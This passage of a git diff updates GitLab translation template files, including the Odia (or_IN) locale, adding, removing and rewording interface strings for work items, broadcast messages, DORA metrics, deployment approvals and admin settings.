@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/or_IN/gitlab.po b/locale/or_IN/gitlab.po
index c41a30843f6..3f65e918b7f 100644
--- a/locale/or_IN/gitlab.po
+++ b/locale/or_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: or\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
